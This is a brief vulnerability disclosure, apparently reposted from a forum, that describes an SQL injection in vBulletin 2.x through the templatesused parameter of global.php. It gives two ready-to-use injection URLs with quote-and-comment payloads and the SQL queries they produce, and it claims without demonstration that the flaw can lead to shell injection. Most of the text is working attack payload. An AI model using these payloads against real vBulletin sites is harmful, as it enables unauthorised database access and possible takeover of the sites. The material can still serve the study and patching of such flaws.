Vbulletin 2.X sql injection

[serverplan]

Hello,,

Vbulletin 2.X sql injection

Discovered By : HACKERS PAL
Copy rights : HACKERS PAL
Website : http://www.soqor.net
Email Address : security@soqor.net

This is sql injection in vbulletin systems

the injection is in the global.php file

we can use it

global.php?templatesused=))/*

the query will be
SELECT template,title FROM template WHERE (title IN ('))/*','gobutton','timezone','username_loggedout','use rname_loggedin','phpinclude','headinclude','header ','footer','forumjumpbit','forumjump','nav_linkoff ','nav_linkon','navbar','nav_joiner','pagenav','pa genav_curpage','pagenav_firstlink','pagenav_lastli nk','pagenav_nextlink','pagenav_pagelink','pagenav _prevlink') AND (templatesetid=-1 OR templatesetid=1)) ORDER BY templatesetid

global.php?templatesused=nn,dd,'))/*
SELECT template,title FROM template WHERE (title IN ('nn','dd','\\\'))/*','gobutton','timezone','username_loggedout','use rname_loggedin','phpinclude','headinclude','header ','footer','forumjumpbit','forumjump','nav_linkoff ','nav_linkon','navbar','nav_joiner','pagenav','pa genav_curpage','pagenav_firstlink','pagenav_lastli nk','pagenav_nextlink','pagenav_pagelink','pagenav _prevlink') AND (templatesetid=-1 OR templatesetid=1)) ORDER BY templatesetid

It Can be used as shell injection

Tested on VB 2.3.X and other versions are injected ..(2.X)

#WwW.SoQoR.NeT